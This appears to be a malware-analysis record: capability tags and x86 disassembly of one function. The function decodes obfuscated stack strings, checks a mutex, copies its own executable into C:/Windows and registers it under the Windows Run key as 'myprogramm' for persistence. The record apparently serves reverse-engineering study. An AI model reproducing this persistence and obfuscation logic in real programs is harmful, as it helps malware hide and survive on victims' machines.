Function at 0x404410
Capabilities:
Contain obfuscated stackstrings
Copy file
Set registry value

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.InitializeCriticalSection
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebx, eax
lea eax, [esp + 0x290]
push eax
push 0x202
call dword [0x487cdc]
push 0x407bc0
call ebx
mov eax, dword [0x407548]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 2
jne 0x404763
push str.CreateMutexA
push str.KERNEL32.dll
call esi
push eax
call edi
mov cl, byte [0x40754c]
test cl, cl
je 0x40449a
push str.8A944464_9E8F_4896_B380_6222241C9861
push 1
push 0
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4047bf
mov dl, 0x74
mov bl, 0x66
mov byte [esp + 0x3f], dl
mov byte [esp + 0x4d], dl
mov byte [esp + 0x5d], dl
mov cl, 0x72
mov dl, 0x56
mov byte [esp + 0x3e], bl
mov byte [esp + 0x42], cl
mov byte [esp + 0x48], cl
mov byte [esp + 0x4c], bl
mov byte [esp + 0x59], cl
mov byte [esp + 0x5a], cl
mov byte [esp + 0x5e], dl
mov byte [esp + 0x60], cl
mov byte [esp + 0x2e], dl
mov al, 0x65
mov bl, 0x6e
mov cl, 0x41
mov dl, 0x6c
mov byte [esp + 0x3c], 0x53
mov byte [esp + 0x3d], 0x6f
mov byte [esp + 0x40], 0x77
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x43], al
mov byte [esp + 0x44], 0x5c
mov byte [esp + 0x45], 0x4d
mov byte [esp + 0x46], 0x69
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x49], 0x6f
mov byte [esp + 0x4a], 0x73
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4e], 0x5c
mov byte [esp + 0x4f], 0x57
mov byte [esp + 0x50], 0x69
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x64
mov byte [esp + 0x53], 0x6f
mov byte [esp + 0x54], 0x77
mov byte [esp + 0x55], 0x73
mov byte [esp + 0x56], 0x5c
mov byte [esp + 0x57], 0x43
mov byte [esp + 0x58], 0x75
mov byte [esp + 0x5b], al
mov byte [esp + 0x5c], bl
mov byte [esp + 0x5f], al
mov byte [esp + 0x61], 0x73
mov byte [esp + 0x62], 0x69
mov byte [esp + 0x63], 0x6f
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], 0x5c
mov byte [esp + 0x66], 0x52
mov byte [esp + 0x67], 0x75
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2d], 0x44
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x50
mov byte [esp + 0x31], 0x49
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], dl
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0
mov byte [esp + 0x10], 0x52
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x67
mov byte [esp + 0x13], 0x4f
mov byte [esp + 0x14], 0x70
mov byte [esp + 0x15], al
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x4b
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0x79
mov byte [esp + 0x1a], 0x45
mov byte [esp + 0x1b], 0x78
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], 0
lea ecx, [esp + 0x10]
lea edx, [esp + 0x2c]
push ecx
push edx
call esi
push eax
call edi
lea ecx, [esp + 0x6c]
lea edx, [esp + 0x3c]
push ecx
push 0x20006
push 0
push edx
push closesocket
call eax
test eax, eax
jne 0x40474a
push eax
call ebp
lea eax, [esp + 0x90]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x90]
mov cl, byte [esp + 0x90]
test cl, cl
je 0x40465c
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404654
lea ecx, [esp + 0x90]
mov edx, eax
dec eax
cmp edx, ecx
je 0x40467d
cmp byte [eax], 0x5c
je 0x40467d
lea ecx, [esp + 0x90]
mov edx, eax
dec eax
cmp edx, ecx
jne 0x40466a
mov cl, byte [eax]
xor edx, edx
cmp cl, 0x5c
mov byte [esp + 0x20], 0x43
setne dl
dec edx
mov byte [esp + 0x21], 0x3a
and edx, eax
mov al, 0x2f
mov byte [esp + 0x22], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x23], 0x57
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x64
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x77
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2b], 0
mov byte [esp + 0x70], 0x43
xor eax, eax
mov cl, byte [esp + eax + 0x21]
mov byte [esp + eax + 0x71], cl
inc eax
test cl, cl
jne 0x4046cc
lea ecx, [edx + 1]
mov dl, byte [esp + 0x70]
test dl, dl
lea eax, [esp + 0x70]
je 0x4046f0
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x4046e8
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
test dl, dl
je 0x404704
mov dl, byte [ecx]
mov byte [eax], dl
inc eax
inc ecx
test dl, dl
jne 0x4046fa
lea eax, [esp + 0x70]
push 0
lea ecx, [esp + 0x94]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edi, [esp + 0x70]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x7c]
push str.myprogramm
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x6c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 1
call fcn.004035a0
push 0x12c
mov dword [0x4070d4], esi
call ebp
jmp 0x40474f
cmp eax, 1
jne 0x40474a
call fcn.004047d0
test eax, eax
je 0x404798
lea edx, [esp + 0x10]
xor eax, eax
push edx
mov dword [esp + 0x14], 0x407144
mov dword [esp + 0x18], 0x4041e0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x40474a
push 0x407344
push 0x407244
push 0x407144
call fcn.00404910
add esp, 0xc
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404070
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x410
ret 0x10